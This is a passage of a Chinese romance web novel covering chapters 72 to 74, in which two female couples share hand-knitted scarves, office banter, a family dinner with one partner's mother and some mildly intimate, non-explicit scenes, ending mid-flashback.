“妈,过几天诗文就要回来了。”姜又柠热情地把这个消息分享给她,“她说她可想你了,家裏中餐厅的大厨做的饭都没你好吃。” 姜鸿英一听江诗文脸上的笑容就丰盛了很多,“要是你们愿意,回头我做一大桌子菜,咱们都一起吃。” “当然好呀!”姜又柠点点头,看向岑曳的时候,两个人的眼睛裏满是甜蜜的爱意。 姜鸿英要去雇主家做晚餐,所以下午的时候就得去买菜。 岑曳开着车将她送到目的地,姜又柠跟着下车立马把位置换到了副驾驶。 “你干嘛不让我坐这裏嘛!”姜又柠系着安全带,“我不想让你当司机……” “要以姜阿姨为主。”岑曳认真跟她解释,“你跟我在一起,我总得让她放心。” 过去的事情姜鸿英心裏究竟有没有芥蒂她不清楚,她现在只能从小事做起。 她得让姜鸿英知道,姜又柠跟她在一起,什么都不用考虑,依旧只需要做小时候那个没心没肺的小姑娘。 “我懂了……”姜又柠点点头,“可我还是心疼你,我不想让你在妈妈面前是努力照顾好一切的样子,那样你也会很累的。” 她牵过女人的手往家裏走,“妈妈跟我说,她很喜欢孩子,没做家政的时候,还去学校做了食堂阿姨,她看到那些孩子吃得饱饱的就会很高兴,还会背着经理偷偷给孩子们多加很多菜。” “她说虽然做饭很辛苦,但是很值得,她很开心。”姜又柠说,“她肯定也把你当成小孩子的,就像小时候还在岑家那样。” 岑曳认真听着,莫名鼻子发酸,她轻轻点头,“嗯,我都知道。” “还有在车上的时候,妈妈说,到时候我们五个人在家裏一起吃饭,你不会介意吧?” “当然不会,为什么会这么想?”岑曳有些意外,“我很喜欢热闹的。” 尤其是在家裏的热闹,一大桌人吃着一大桌子丰盛的菜,各自聊着天,满是快活的气氛。 这是她还没遇到姜家母女时梦寐以求的事情,也是她独自在国外时一直怀念的事情—— 作者有话说:论岑姐的说话之道。 第72章 今年的雪来得很快, 距离元旦还有一个多星期,天空中就洋洋洒洒飘起了小雪。 姜又柠找了同城急送从姜鸿英那儿拿来了一个袋子。 外面是不知名衣服的纸质包装袋,裏面套了两个塑料袋。 打开一看, 是两条围巾。 一条白色的,一条粉色的。 姜又柠立即拿给岑曳看,“我妈妈织的两条围巾, 好看吗!” 岑曳拿过仔细瞧了瞧,“嗯, 都很适合你。” “不是啦, 我们一人一条!”姜又柠本来想要粉色的, 但眼珠子转了转, “我戴白色的。” 岑曳睨她一眼,猜中了她的心思,“行啊,我戴粉的。” 姜又柠饶有兴致地打量她, 心想这会儿倒是好说话。 出发上班的时候, 岑曳穿了件黑色的羊毛大衣,大衣跟粉色围巾单看都很漂亮,但搭配在一起就有点奇怪了。 开车到达公司之后,助理在电梯裏偶遇了这两个人,她看见岑曳的这身搭配, 愣了下。 “不好看吗?”岑曳主动问她。 “……好看。”助理不敢多言, 又看了眼姜又柠脖子上的白色, 这两条围巾除了颜色不一样之外,其余的简直一模一样。 姜又柠今天穿了白色的棉袄,围巾的白色跟棉袄不是一种白。 要是这两个人换一下应该就合适多了。 “那我的呢?姐姐,我的好看吗?”姜又柠走到她身边, 热情地问。 “也很不错。”氛围有些古怪,开门之后,助理就快步离开了电梯。 姜又柠刚迈出一步就被岑曳拎着后颈扯到身边,“喊什么呢你?” “什么?”姜又柠迟疑了下,“我喊助理姐姐怎么了?她就是比我大啊。” 女人冷哼了一声没说话,刚过了上班的点儿就召集所有人去办公室开周会。 平常岑曳穿衣也不是黑白灰的冷淡三色,也有很多别的颜色,不过都偏深,从来都没有这么搭配过如此明亮鲜艳的粉色,在场的员工都多看了几眼。 “总监,您这条围巾真稀奇啊。”有人笑着说。 跟岑曳在一个部门待久了,也都能明白她的性格,公私分明,工作上雷厉风行,私下也是个能开玩笑的朋友。 “家裏人织的。”岑曳说。 “那您妈妈手真巧。”员工顺着她的话往下奉承。 女人勾勾唇,随意地扫了眼姜又柠,“女朋友的妈妈织的。” 员工微愣,露出会心的笑容,姜又柠则是在角落裏默默翻了个白眼。 切。 秀什么呢? 在场也有跟着岑曳从总部一起过来的老员工,彼此心照不宣地对了个眼神,都往姜又柠那边看了眼。 姜又柠敏锐得很,而且她跟岑曳的关系还没在部门裏彻底暴露,她现在格外谨慎,所以捕捉到了这几道微妙的视线。 她腼腆地笑了笑,对面则回了几个无奈的笑。 怎么感觉这几个老员工也把她当小孩子? 不就是跟岑曳差不多大吗?也没比她大几岁啊! “上周发的项目资料都看了吧?”岑曳迅速开始进入工作状态,“我们部门有近期新来的人,我也都分配了老人带,抓紧时间熟悉一下流程,争取不要掉队。” 她让助理说了下这次的主要合作方,部门稳定之后,每次会议几乎都在抓重点,没什么废话,所以结束也很快。 岑曳照常让员工提出三个问题,前两个都是新员工有针对性地询问工作适应的问题,其中还有个应届生。 岑曳也都详细地解答了,直到一个老员工问,“我们部门跟总部对接的人选确定了吗?上周我给总部发了封邮件,那个负责人说还没定好是她还是继续由庄姐负责。” “还没定好?”岑曳疑惑道,“我在国外的时候不就定好了吗?” 她抿唇,“我尽快再确认一下,之后给你答复。” 姜又柠闻言,偷偷用手机给江诗文发消息,问她们到哪裏了。 本来说好了上周就回来的,江诗文拉着庄玟半路又跑到其它城市旅游去了。 朋友圈和微信三四天都没给她发消息了,跟失踪了一样。 【江诗文:这周末回去!我要吃姜阿姨的饭!我要吃我要吃!】 【姜又柠:你要是确定了我就跟我妈说了。】 【江诗文:确定了!周五回去,周末吃饭!】 【江诗文:庄玟这两天工作电话又变得很多,不知道在干嘛!】 发微信的时候,江诗文正气愤地看着一旁戴着黑色墨镜在躺椅上喝果汁的女人。 “要不是A市下雪我嫌冷不想这两天回去,轮得着你在这儿享受?”江诗文叉腰看她,“这时候不觉得工作好了?” 二十度是最舒服的,她带着庄玟来散心,这个女人还真开始散心了,一点儿都不管她的死活了。 庄玟拿下墨镜,冷脸扫她,“挡我太阳了。” 江诗文走近一步,大半阴影直接盖在女人身上,“周五回去!” 庄玟的视线跟她的柔软恰好平齐,淡淡挪开了视线,将目光落在了一边的沙滩上。 “庄阿姨要你在国内部门继续负责跟总部的对接工作,你怎么不干啊?”江诗文说,“你要是也留在部门,那我妈妈肯定更支持我留在国内的,我还能继续跟柠柠一起当饭搭子呢。” “我不给别人打工。” 得,还在为家产的事情生气。 “国外不待,国内也不待,你到底要干嘛?你这个人怎么这么难伺候?” “我难伺候?总部那群人精在工作上要求那么严格,吹毛求疵,我什么时候难为过她们?”庄玟质问道,“缺人手了知道把我喊回去了,当初分钱的时候一点儿都没想到我。” “我听说副董很看重你的呀,你最开始进总部的时候,负责人的位置不就是她点头同意的吗?” 庄玟沉默了几秒钟,“那位置本来是岑曳的,只是她不乐意去,项目大时间又紧,缺个能带人的,所以才把我扶上去的。” 江诗文有点意外,惊讶得没能立即说出话来。 半晌,女人低声呢喃,“永远都把我当备胎,用得上就用,用不上就踹掉,我现在没心情跟她们混在一起。” “干嘛这么想自己?” 江诗文最听不得这种话,她从小到大都被家裏人捧在手心上,此刻看见庄玟,又忍不住可怜她。 她别扭地抓过女人的手,“你很厉害的,不是她们缺人才来找你的,你本来就是负责对接的啊,你不是说,当初没人看好国内市场,你不想让岑曳姐一个负担太重,才主动承担这份责任的吗?” “那只是其中一个原因,当时你在国内,我得找你跟我结婚,这不是正好有个回国的理由吗?” “可你工作方面做得还是很好啊。”江诗文咬唇。 明明自身这么厉害了,为什么总把自己放在如此卑微的位置呢? “为了家裏而已。” “那说明你责任感很强!” “我是家裏的老大,做这些是应该的,没什么责任不责任的。”庄玟有些烦躁,“大的让着小的,只要家裏公司没给了别人,我也无所谓。” “谁跟你说的,大的必须让着小的?”江诗文替她不值,“你这个想法太错误了!” 很少有人反驳她,庄玟以为自己听到江诗文的话会是不高兴的,可她只是沉默了很久。 “我家裏那么多姐妹,每次逢年过节,她们都对我特别好,但是一到工作上,都觉得我没能力,去带那个公司这个公司,我问什么都说我不用管这些。”江诗文失落地说,“一到利益相关的事情,她们从来都不让着我。” “家庭教育不一样,这也没什么好争论的。” “我不是要跟你争论!”江诗文有些生气,“你不能老是觉得自己身为老大,付出就是应该的!你为别人付出,谁来为你付出呢?” 庄玟刚张开唇,就被江诗文捂住嘴巴,“不准反驳我!你总是在这个事情上反驳我,是不是不想承认‘大的让着小的’这个道理本来就是错误的?” 想法罕见地被看穿,女人眸光中的颜色暗淡了很多。 “你家裏人本来就做错了,虽然不知道还能不能挽回,但你不能自暴自弃吧?”江诗文掰弄着女人的手指,“你那么优秀,干嘛让我们部门失去一个这么厉害的领导啊?你这个时候不想承担责任啦?你一个大领导不能让着我这个小员工吗?” “乱讲,懒得理你。”庄玟挪开头,只是嘴角轻轻上扬了些许。 “你笑啦是不是?还不让我看!”江诗文往她身上扑,试图去捕捉女人脸上的笑容。 “老实点!”庄玟制止她,又怕她从躺椅上摔下去,只能扶着她的腰,最后江诗文的腿打了个弯,被她眼疾手快地捞了回去。 这下她完全趴在了庄玟的身上。 柔软紧贴着柔软,江诗文撑着两边的扶手,但力气又小,不小心又摔了下。 她脑袋埋在女人胸前,听见了一声细微的闷哼。 “我压到你了吧……”江诗文尴尬地笑了笑,想要帮她揉一揉,但又想到这是敏/感部位,随后又放弃了。 庄玟无奈地嘆了口气,拍了拍她的后背,“行了,别乱动了。” “可是我们这样会不会有点……” 江诗文莫名脸红。 她跟庄玟也就做过两次,一次是意外,一次是在温泉。 后来两个人的相处状态渐渐和平,她们之间的共处更像是容易吵些小架的朋友,吵得快也好得快。 “你知不知道这样的姿势只有情侣之间才能做啊?”江诗文抬起脑袋看她,双颊火辣辣的。 “我们不是都结婚了吗?”庄玟垂眸看她,“……老婆?” “……!!”江诗文捂住耳朵,听不得这个亲密的称呼。 庄玟捧住她的脸,要她认真看着自己,“之后你在国内跟别人发展感情的时候,也会在伤心的时候才跑过来找我吗?” 江诗文还以为她要说些什么令人感动的话,可听到这句话还是鼻子发酸。 她才不会把庄玟当备胎! 这个混蛋的事情她肯定不会做的,而且庄玟这么优秀的人,不该受到这样的对待。 “我不跟别人发展感情,我只跟我结婚对象发展感情。”江诗文盯着她看,“你想的话,就试着喜欢我一次。” 庄玟轻轻点头。 “你现在跟我待在一起,还会觉得很烦吗?” “一直都没有。”庄玟如实回答,“最开始只想着跟你结婚之后就各自散了,因为没有进一步接触的想法,所以我的态度不算好,并不是在针对你。” “明明就是一句屁话,我为什么会想哭啊……”江诗文眨了下眼睛,掉下来一滴眼泪来。 她好像融化了一座冰山,很辛苦,也很不容易。 但看到冰山中也开出冷艳的花朵来,她很高兴,觉得这景色很美。 ……也很值得人喜欢。 庄玟这次伸出手擦掉了江诗文的眼泪。 泪珠在指腹上旋转,她张唇含进了口中,“……咸的。” 江诗文大惊,一剎那脑子完全空白。 这个女人到底知不知道她在做些什么啊! 脸越来越红,江诗文不能被她笑话了,挣扎着要从她身上起来,可后腰处的掌心依旧紧紧按着她。 “……庄玟!你想干嘛!” “想。” “不准再乱看网络贴……唔!” 意外的亲吻到来,江诗文先是怔愣了下,就被女人抱着反压了过来。 她含住她的唇,轻轻地吮吸,像是在试探,也像是在勾引。 轻微的喘息声随之而来,江诗文意外女人的情迷,痒意被她很快就勾了上来。 深吻的水声传来,庄玟的舌尖抵住她的牙齿来回地扫,江诗文的舌头被她勾出来,柔软的舌尖立即开始纠缠。 没有争吵的气氛,也没有敌对性质非要说服对方的反驳,更像是情人之间连绵的热吻。 江诗文被脑子裏这个想法吓怕了。 女人撑在她两侧,指腹摩挲着她的眼泪,“你的眼睛很红,脸也很红……” 江诗文不耐地别开脑袋,却被女人掰正。 “我要回家了,我不想跟你旅游了!”江诗文呜咽了几声,满是不服气。 “不是要跟我一起散心?” “我不想了!” 话是这么说的,可她没想着用自己的身体让庄玟散心。 “行,那回房间。”庄玟把她抱起来,还嫌她不老实,把她的腿分开盘在自己腰上。 “大白天的回房间干嘛!我要去沙滩上玩儿!” “玩点儿别的。” “我不玩你!你也不准玩我!” 庄玟笑出了声,“小脑袋瓜还是挺聪明的。”—— 作者有话说:这个车不写,自行脑补[哈哈大笑][哈哈大笑] 第73章 总部跟部门内对接人的负责人还没确认, 岑曳询问的邮件发过去之后,那边说还在等庄玟的答复。 但庄玟罕见地不回工作消息,反而问她有没有时间带着姜又柠一起来旅游。 奇了怪了, 简直完全变了个性子。 周五两个人回到A市的时候,岑曳才有机会抓到她。 “你要是不接这个工作,就早点跟总部那边说。”岑曳皱着眉头, “部门的流程有条不紊,怎么轮到你们总部倒油了?” “我们总部?不是岑总监在总部跟我一起带项目的时候了?” 一段时间没见, 庄玟身上疲惫的班味儿少了很多, 反而多了不少明显的幸福的甜蜜。 “我拒绝过很多次了, 但总部那边不肯, 我有什么办法?”庄玟说,“我现在无事一身轻啊。” 姜又柠跟江诗文则在一边沙发上坐着聊着天,偶尔往她们这边看几眼。 江诗文兴奋地跟她讲了好多旅游的趣事儿,听得姜又柠羡慕得很。 她扯了下江诗文的高领毛衣, 看见了上面明显的红痕。 江诗文也不避讳, “一个姓庄的狗啃的。” “你是不是喜欢上庄玟了?”姜又柠问她。 “有,有这么明显吗?”这话太直白,江诗文立即改了口,“有那么一点吧,我主要是可怜她。” “可怜她?”姜又柠摇摇头, “完全看不出来。” “哎呀具体的细节你不知道嘛……” “那就是喜欢咯。”姜又柠听见岑曳不满的声音, 闻言望过去, “她们吵起来了?” 江诗文走过去听了几句,“岑曳姐,她就是负责人!不过她还得再休息几天才能上班!” 庄玟冷脸捂住江诗文的嘴,却被她扒开, “她这个人心口不一,我都哄好了,她在部门还做原来的对接工作!你放心吧!我都帮你安排得好好的!” 岑曳打量几眼面前两个人亲密的动作,恍然大悟地笑了下,“哦,原来是妻管严啊。” “岑曳。”庄玟冷声喊她。 岑曳这下不跟她对话,反而看向江诗文,“记住你说的啊,项目安排很紧,得再快点过来。” 江诗文重重点头。 “没事,不耽误你们相处了。”岑曳把姜又柠拉过来往外走,“周六中午记得来家裏吃饭。” 姜又柠嘴上带着八卦的笑,“刚刚诗文承认说,她喜欢上庄玟了。” “嗯,挺好的。”岑曳对于别人的感情发展倒无所谓,她现在被总部看重,对她开拓国内市场有很多期望,所以她只想让庄玟赶紧来部门上班。 她跟庄玟有默契,也省得跟总部那边的新人调和。 “我妈妈问了明天我想吃什么,我们要不要一会儿去把菜买了?” “晚上吗?”岑曳问她,“蔬菜不太新鲜了,明早能起得来吗?” 姜又柠抱住她灿烂地笑,“能!” 两个人在小区楼下吃了碗馄饨,晚上又腻在沙发上看综艺。 “马上都要元旦了,时间过得好快啊……” 岑曳看了眼日历,“年后得搬家了。” 姜又柠立刻反应过来,“真的要搬到那栋大平层?” 说完女人就拍了下她的脑袋,“不准后悔。” “没有后悔……”姜又柠扭捏道,她转了个身看向她,“我就是有点紧张。” 小时候吹牛要买房子跟岑曳一起住,虽然这房子她一点儿钱都没掏,但此刻梦想实现的时候她也依旧紧张。 “不用紧张,你就拎包入住,其余的都由我来负责,好不好?”岑曳捏了捏她的耳朵,脸上满是宠溺的笑。 她已经列好了清单,姜又柠跟她的日常洗漱用品也都买了新的,她之后找个时间好好布置一下就好了。 所有的清洁工作她都会自己完成,不会让姜又柠去做的。 “我会帮你打扫的!”姜又柠握拳保证,“这次我不会坐在沙发上看你一个人动手了!” “你别给我添乱就行。”岑曳轻啄她的唇,“好好地当个吉祥的摆件不好吗?嫌我辛苦的话,就多夸夸我,我爱听。” “哎呀,你怎么这么好呀!”姜又柠在她身上蹭了蹭,“好喜欢你呀!姐姐!” “再喊一声。” “姐姐!”姜又柠听话得很,“岑曳姐姐!” 岑曳拍拍她的屁股,把她抱起来往房间走。 她佯装挣扎了几下没有挣脱,被女人压在床上亲。 轻吻从嘴唇一路下滑,落在瀑处轻轻吮吸。 眸光中很快蕴出了不少水雾,姜又柠看不清女人的脸,却能够感受到她时缓时急的动作。 “姐姐……”姜又柠情不自禁地喊她。 现在的每一次亲密都让姜又柠觉得无比幸福。 就像她们从来都没有分手过,岑曳依旧是那个会保护她的好姐姐。 不知道过了多久,她在女人的怀裏溃不成军,“姐姐……下辈子我还能做你的妹妹吗?” 岑曳吻她额头,抱得很紧。 她已经很久没有听过姜又柠说这句话了。 小时候姜又柠不管是受欺负,还是被她哄得高兴,或者是担心她离开,都会小心翼翼地这样问她。 “会的,无论什么时候我都会出现在你的身边。” 这辈子,不管姜又柠哪一次问她,她都会给出同样的答复。 这是她对她永远的承诺- 早起买菜的事情被姜又柠记在了脑瓜子裏,她被闹钟喊醒,只赖床了十分钟就去了洗漱间找岑曳。 “起得好早,我还没下楼买早餐,不再睡会儿?” “我跟你一起去店裏吃早餐!”姜又柠撅起嘴巴朝着岑曳索吻,岑曳啄了啄她的唇,帮她挤了牙膏递给她。 “穿厚一点,今天化冰了,温度很低。”岑曳从衣柜裏帮她拿出棉袄,在房间裏看着她换衣服。 “昨晚诗文给我发消息了,说她跟庄玟买了大闸蟹和一些海鲜,让我们不用再另外买了。”姜又柠打了个哈欠,被岑曳往脖子上套了条粉色围巾。 “你怎么不戴粉色的了?” 岑曳勾勾唇,“今天出门又没认识的人夸我戴粉色围巾好看。” “我看你上班的时候戴粉色这条,就是故意为了吸引别人注意!你这个人怎么这么爱炫耀啊?” “对啊,我就是爱炫耀我女朋友。”岑曳给她拆了个暖宝宝放在她手裏,又拉着她往外面走。 姜又柠哼了一声,美滋滋地没说话。 “我们得抓紧时间了,买了菜得去接姜阿姨过来。” “好,我跟她讲过了她还不要我们去接呢,非要自己骑电动车,雪地多滑啊,有的路还结冰了。” “所以得早点。” 上了年纪的人不爱麻烦自己的孩子,她们要是去得晚了,说不定姜鸿英就自己骑着电动车出发了。 到了超市,岑曳推着车在后面走,姜又柠挤进人群裏挑选蔬菜,“早上的超市人怎么这么多啊?” 她还是第一次起个大早来买菜。 岑曳默契地接过她的菜,仔细瞧了瞧才放进了购物车。 “小看我?我小时候可是跟我妈妈经常一起去买菜的,你吃了那么多顿的菜有一多半都是我挑的好不好!” “好好好,你最厉害,我就是想跟你学学蔬菜怎么挑。”岑曳顺着她的话往下说,路过零食货架,又顺手拿了几包姜又柠爱吃的薯片。 “敷衍哦,不过我很乐意教你。”姜又柠听得出来女人这是在奉承她,可她还是很高兴。 姜又柠挽着女人的胳膊,忍不住去幻想,如果她们搬到了新家之后,是不是会经常这样一起手牵手逛超市。 过去岑曳常说,跟她和姜鸿英在家裏吃饭的时候,很温暖很幸福。 她希望现在的她和以后的她也同样能给予岑曳这种感觉。 结了帐之后,岑曳两手拎了两大袋购物车往车子的方向走。 “你怎么不牵我了?” 女人愣在原地,垂眸看了眼自己没有空闲的手。 “你是不是不喜欢我了?” 岑曳颇为无奈,拎着袋子大步往前迈,“快点,我们赶时间。” “干嘛,跟你开个玩笑啦!”姜又柠笑嘻嘻地跑过去,脚下一滑差点摔倒,幸好她拽住了岑曳的袖子,两个人一同踉跄了一下。 姜又柠困窘得笑了笑,“……我先上车了。” 岑曳将购物袋放在后备箱裏,启动了车子。 备忘录裏记着她想吃的菜,以及之前江诗文吃了好几次都说爱吃的菜,还有岑曳爱吃的。 “妈妈说,要我问一下诗文的爱人爱吃什么?”姜又柠看了眼消息,问道,“你知道吗?” “庄玟啊……”岑曳思索了下,“不太清楚,没见过她挑食,也没见过她有什么特别喜欢的。” “我妈妈应该不会做工作餐……” 说完两个人都会心地笑了笑。 接到姜鸿英的时候,时间就已经过了十点,姜又柠依旧被岑曳撵到了后排坐着。 家门口站着两个人,此刻正别扭地手牵手。 “我不冷。”江诗文察觉到人来,试图松开手。 “你冷,牵好别动。”庄玟叮嘱她。 “有一种冷叫……” “叫老婆觉得你冷。” 江诗文头皮发麻,她真的没办法免疫这个词语,那天被抱着从沙滩回到酒店,还有昨晚在家裏,她们在床上厮混的时候,庄玟也喊了她好多遍。 不知道是在确认含住她吸吮是法律允许的,还是故意要她听着,敏感到失/禁。 电梯门打开,姜又柠率先走出来,冲着两个人打了声招呼。 庄玟是第一次正式见到姜鸿英,只简单打了声招呼,“阿姨您好,我是诗文的爱人。” 在婚礼上这么介绍她听着倒无所谓,此刻庄玟还真有几分深爱妻子的模样。 厨房很快分成了三个阵地,庄玟跟江诗文在水池边洗菜,之后交给岑曳姜又柠去切,最后姜鸿英负责炒菜做饭。 和和睦睦的,就是两对小情侣之间偶尔有争吵。 一边嫌弃对方洗不干净菜,一边嫌弃对方菜切得千奇百怪。 “我就要切我就要切!岑曳,在岑家的时候你夸我聪明伶俐会切菜,现在觉得我切得不好?” 岑曳颇为无奈。 那时候姜又柠才多大,她看见姜又柠拿菜刀都害怕她切到自己,在一旁时时刻刻盯着,看见她笨拙地切好菜肯定会大肆夸赞一番。 现在…… 现在就算了。 看见她伶牙俐齿的样子,她只想用唇堵住她的嘴。 “好了好了,把青椒给我。”姜鸿英及时站出来,戳了戳姜又柠的额头,“你也乖一点,天天嘴巴上都不饶人。” “明明是岑曳先嫌弃我切的菜……”姜又柠嘟囔一句. 忙碌了将近两个小时,满满的一大桌子菜终于端上了桌。 餐桌不算大,米饭都差点没位置放。 姜又柠拍了好多张照片,两排牙齿齐刷刷地露出来。 岑曳勾唇点了下她的嘴角,“别把牙齿冻感冒了。” “要你管,你的笑话真的很冷!” 四个人没动,反而看着姜鸿英动了第一下筷子才开始吃饭。 家裏许久都没有这样热闹过,岑曳心裏暖洋洋的,脑海裏浮现出了很多过去的回忆。 这是她为数不多的其中一个梦想吧? 跟爱人、家人、好友,聚在家裏一起吃饭,有说有笑的。 姜鸿英感受到庄玟的不善交际,便主动开口,“你跟诗文是怎么互相喜欢的?” 一问就问到尴尬的,姜又柠说,“妈,你怎么这个岁数了还这么八卦呀?” “我这不是看庄玟话少,要她多参与进来嘛。” “她装的,她平日裏可会说话了。”江诗文碰碰女人的胳膊,压低声音道,“你平常跟那些人精的聊天话术呢?这会儿怎么一个字都不说了?” 闻言,庄玟笑着开口,“阿姨,我不太会说话,容易闹笑话。” 此话一出,餐桌上的人都诧异地看她一眼。 “话少没事,对我们诗文好就够了。”姜鸿英高兴地给她夹菜,“家裏有几个孩子啊?” “我还有个妹妹。”庄玟如实回答。 “她还在国外吧?”听到小妹还在上学,姜鸿英感慨一句现在学生也不容易,随后继续说着,“身为家裏的老大是会辛苦一些,多吃点孩子,你看着也瘦。” 庄玟很难形容自己现在的情绪,只是有些复杂,“谢谢您。” “不说您了,不说您。”姜鸿英纠正她,“诗文之前在国内,非要认我当干妈,既然你跟她结了婚,那自然也算我的孩子,身为家长,看见自己的孩子吃得饱是最开心的。” 姜又柠吃着排骨,倏地想起在国外的事情来,乐着对岑曳说,“诗文跟她妈妈怎么都喜欢认别人当干妈或者干女儿啊?” 岑曳笑了下,“你吃你的,话多。” 四个小辈很少主动提起话题,多数都是认真聆听姜鸿英的话,跟她有来有往地交谈,哄长辈开心。 姜鸿英难得聊了很多过去的事情,讲她怎么照顾孩子,怎么织毛衣,怎么自学了一身能吃饱的本领。 一顿午饭竟然也吃了两个多小时,最后碗筷被收拾了,姜鸿英晚上还要忙着去雇主家做饭,所以岑曳跟姜又柠先开了车送她回去。 洗碗的责任就落在了庄玟跟江诗文的头上,她捋起袖子打开水龙头,闷声洗碗。 江诗文喝着剩余的半瓶可乐,凑近看她的脸,“你为什么突然变得很沉默的样子?” “有吗?” “有啊,刚刚吃饭的时候你就很寡言。”江诗文咬着易拉罐的口子,“是不是姜阿姨说你身为老大很辛苦,你又想起了家裏的事情啊?” 庄玟没有点头,但表情格外明显。 “反正你现在有钱,你做什么都可以的啊,想工作就工作,不想工作我们就一起到处旅游。”江诗文安慰她,“现在的你是为自己而活。” “你还想去哪儿玩吗?” 江诗文想了想,“现在还不想,明年春天想,天气冷的时候我只想躺在被窝裏。” “那我下周去部门上班,明年开春陪你去看世界。” “你真的愿意继续做对接的工作?” “嗯。”庄玟应了声,轻轻点头,“我挺喜欢工作的,之前加班是为了家裏,现在也不用太拼命,我喜欢安稳的日子,每天照常上下班就挺幸福的。不过对接工作要国内国外来回跑,你不会介意就好。” 她将洗干净的碗筷收起来,擦了擦湿漉漉的手,随后轻轻触碰了下江诗文的脸。 江诗文主动牵过她的手,“你这个人认真起来,还挺有那么一回事儿的……” “哪回事儿?”女人不解。 “就是……哎呀,跟你解释了你也不懂,这个只能意会不能言传的。”江诗文关了客厅的灯,“反正就是好的意思咯。” 庄玟也没追问了,只是笑了笑,“回家吧。” “嗯!回家!”- 雪天路滑,车子开得很慢,到了集体宿舍的时候,姜鸿英没急着让两个人走。 宿舍裏开了空调,她想着让两个孩子暖和会儿再回去,反正周末也没有什么要紧的事情。 “姜阿姨,你可算回来了。”颜歆走过来,“你瞧我织的手套怎么样?” “不错,不过针眼得再密些,不然漏风不暖和。” 颜歆点点头表示自己知道了,又跟姜又柠打了声招呼,从包裏拿出了几朵编织小花给她看,“柠柠,瞧,我在网上看的教程,可爱吗?” “可爱。” 岑曳倚着柜子,也没坐下,姜又柠的话说得很谨慎。 “要是之前就能送你几朵了。”颜歆面容露出些许惋惜,“现在可不行了。” 姜又柠干笑了几声,余光瞥见女人脸上虽然还在笑着,但她敏锐地察觉到已经不太对劲了。 她只能临时编了个借口,拉着岑曳快步离开了宿舍。 刚出来岑曳就没了笑。 “歆歆姐……emmm……” 刚张嘴就是一句错话。 “颜歆她就是比较喜欢做手工,之前……” 之前送她的见面礼就是一条手工编织的手链这个话题好像也不能说。 “就算她送我我肯定也不会要的……” 但无论收不收岑曳肯定都会生气。 就像现在,还没送女人就冷着一张脸。 “哎呀,你是不是吃醋了?”姜又柠系上安全带,“我跟她什么关系都没有啊。” 岑曳启动车子,“我有什么好吃醋的?” “可你不高兴,我看出来了……” “我不高兴不是因为吃醋。”岑曳说,“她跟你妈妈关系很不错,能讨教编织,周末也能一直来陪着,但我没这么多时间去陪你妈妈。” “颜歆来是因为颜阿姨也在这裏,她跟我妈妈是好朋友,只是顺道而已,不是专门来看的。” 岑曳抿唇,沉默了。 过去姜鸿英是岑家的家政阿姨,她想要找机会跟她相处,姜鸿英自己都不会乐意的。 可现在,她跟姜又柠重新在一起了,她还是没有跟姜鸿英打好关系的机会。 这种被外人无意间比下去的感觉,真的让她很不爽,还有一种无力感。 “岑曳,你做得已经很好了。”姜又柠说,“我妈妈夸过你很多次的,只是你都不知道,她虽然说我耍赖皮的时候一直找你撑腰,但还是很感谢你一直保护我。” 这也是姜鸿英留在岑家的理由,虽然过去岑曳的强迫症过于严重,但她还是坚持了下来。 姜又柠完全能够知道,就是因为岑曳对她好,不求回报地好。 “你在我妈妈那裏是无可替代的。”姜又柠冲她甜甜地笑,“在我这裏也是!” 下了车,岑曳的表情没能彻底转好,姜又柠扯下围巾的一半,从女人背后跳起来揽住她的脖颈。 女人往后踉跄了下,“下手没轻没重的。” 姜又柠不好意思地笑笑,“我想跟你一起戴围巾嘛。” 这是她小时候惯用的方式,只要她的安慰没能到位,那她就耍些小花招来让岑曳开心一下。 她将一端递给她,要她从脖子绕一圈再拿回来。 姜又柠抓住另一头,冷不丁被女人拽了下。 她咳嗽了下,“你故意的!报复我!” 为了让岑曳吃苦头,她拽紧了手裏的这条,围巾便圈得越来越紧。 脸颊紧紧贴在一起,路过的行人偶尔传来诧异的目光。 “你看人家,调/情都用粉色的围巾。” 听到路人说的话,姜又柠脸红了下,试图将围巾解开,扯了半天,最后发现打了个死结。 “岑曳,我快要呼吸不过来了……咳咳咳……” 岑曳解开了围巾,重新给她戴好,“唉,真是个笨蛋。” “嫌我笨那你别喜欢我了!” 女人在她脑门上敲了下,“没办法,我就喜欢笨的,下雨了不往家裏跑,往我怀裏跑的那种。”—— 作者有话说:[哈哈大笑][哈哈大笑] 第74章 两个人就这样一拉一扯地跑回家。 姜又柠的脸蛋冻得通红, 女人的掌心很热,被她拽过去捂住自己的脸。 “帮我暖暖。” 岑曳盯着她的眼睛看,一双亮闪闪的瞳孔裏满是纯真的笑意。 她倏地想起还在岑家的时候, 姜又柠背着重重的书包回家,跟她吐槽月考好多人照着手机搜答案的事情。 月考监考特别松,老师就坐在讲臺上玩手机, 下面的学生也跟着玩手机。 姜又柠老老实实地做完会的题,之后就趴在桌子上睡觉。 排名出来之后, 一如既往地入不了眼, 但她还是热情地跑回家, 要岑曳夸她诚实。 她喜欢岑曳夸她, 每次回到岑家都要想各种法子要岑曳开口。 “今天我妈没来?”看见女人点头,她兴奋地把书包一甩,倒头瘫在了沙发上。 岑曳把书包捡起来拍了拍并不存在的灰尘,工工整整放在一边, “今天下午部门聚会, 不怎么饿,你要不要吃点什么?” “上大学也要应酬?” “偶尔聚个餐而已。” “我的书包裏放了一桶泡面的,五块钱呢!”姜又柠说得很认真,“我不用吃特别好,我就喜欢吃这个!” 她说了好几遍, “是番茄味儿的, 味道不重!” 岑曳皱着眉头, 看她拿着泡面去接了热水,自己便从冰箱裏拿了牛排和鸡蛋给她煎好端出来。 姜又柠插起已经被切成小块的牛排放进泡面裏闷着,“今天我同桌跟我说,她表白失败了!她这辈子都不会再喜欢上别人了!她要是再谈感情这辈子都发不了财!” 女人坐在沙发上放空, 闻言笑出声来,“你们这十五岁小孩子发的誓还挺毒的。” “我跟她说,你暗恋得好好的,非要表白做什么?她说她想要尝尝接吻是什么感觉……”姜又柠摸了摸自己的嘴巴,害羞地垂下头,低低的笑声却冒了出来。 姜又柠跪在地毯上,一只胳膊压在茶几上撑着半个身体的重量,反正喜欢不规矩地吃饭。 她找岑曳拿了自己的手机,一般她周末都是在岑家过夜的,所以周五这天,岑曳要是有空就会提前帮她把手机充满电。 “我同桌又给我发消息了!她说她这周要化个妆再试一次!”姜又柠打开相机看自己的脸,“我也想知道我化妆是什么样子……我妈不让我用化妆品,说我还没成年,化妆品会伤到我皮肤的!可我知道她就是骗我,不让我化!” 几年前她被这个谎言骗过,便去厨房偷偷用面粉往自己脸上抹,最后被姜鸿英好一顿骂。 “想试试吗?”岑曳问她。 